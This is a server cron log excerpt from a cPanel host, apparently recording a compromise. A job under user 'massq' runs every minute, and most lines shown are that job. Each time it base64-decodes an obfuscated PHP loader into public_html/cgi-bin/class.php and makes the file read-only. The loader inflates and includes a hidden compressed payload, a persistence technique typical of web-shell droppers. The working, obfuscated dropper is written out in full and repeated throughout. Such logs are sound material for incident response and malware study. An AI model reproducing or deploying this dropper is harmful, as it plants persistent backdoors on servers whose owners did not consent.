Nov 15 17:38:01 server CROND[19416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:39:01 server CROND[19676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:39:01 server CROND[19677]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 17:40:01 server CROND[19937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:40:01 server CROND[19938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 17:40:01 server CROND[19939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:40:01 server CROND[19940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:41:01 server CROND[20354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:42:01 server CROND[20613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 17:42:01 server CROND[20615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:43:01 server CROND[20880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:44:01 server CROND[21136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:45:01 server CROND[21398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:45:01 server CROND[21399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:45:01 server CROND[21400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:46:01 server CROND[21707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:47:01 server CROND[22074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:48:01 server CROND[22340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:49:01 server CROND[22610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:50:01 server CROND[22887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:50:01 server CROND[22890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 17:50:01 server CROND[22894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:50:01 server CROND[22897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 17:50:01 server CROND[22899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
